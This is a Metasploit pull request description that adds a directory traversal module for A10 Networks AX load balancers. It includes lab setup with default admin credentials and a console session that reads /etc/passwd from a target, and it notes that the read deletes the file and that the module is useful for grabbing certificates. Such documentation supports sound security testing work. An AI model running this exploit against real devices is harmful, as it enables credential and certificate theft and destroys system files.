rapid7/metasploit-framework — pull request #2926 by xistence (2014-01-28 09:41:45+00:00)
Title: added A10Networks AX loadbalancer Dir Traversal Auxiliary Module

Download SoftAX 2.6.1-P2-SP1.8.ova.xz from http://0x90.nl/SoftAX-2.6.1-P2-SP1.8.ova.xz (It's not available on the vendor site anymore)

Deploy the trial ova (tested on ESXi 5.1) and boot it. Login to the console with admin/a10.
Further configuration of IP address:
- enable
- configure
- interface management
- ip address 192.168.2.47 255.255.255.0
- write memory

msf > use auxiliary/scanner/http/a10networks_ax_directory_traversal
msf auxiliary(a10networks_ax_directory_traversal) > set RHOSTS 192.168.2.47
RHOSTS => 192.168.2.47
msf auxiliary(a10networks_ax_directory_traversal) > set FILE /etc/passwd
FILE => /etc/passwd
msf auxiliary(a10networks_ax_directory_traversal) > exploit

[*] 192.168.2.47:80 - Reading '/etc/passwd'
[+] 192.168.2.47:80 - /etc/passwd stored as '/home/xistence/.msf4/loot/20140128161747_default_192.168.2.47_a10networks.ax_407608.bin'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(a10networks_ax_directory_traversal) >

This will grab the /etc/passwd, but NOTE that it will also delete the file on the device. So it's mostly useful for downloading certificates, although after a reboot the passwd file reappears...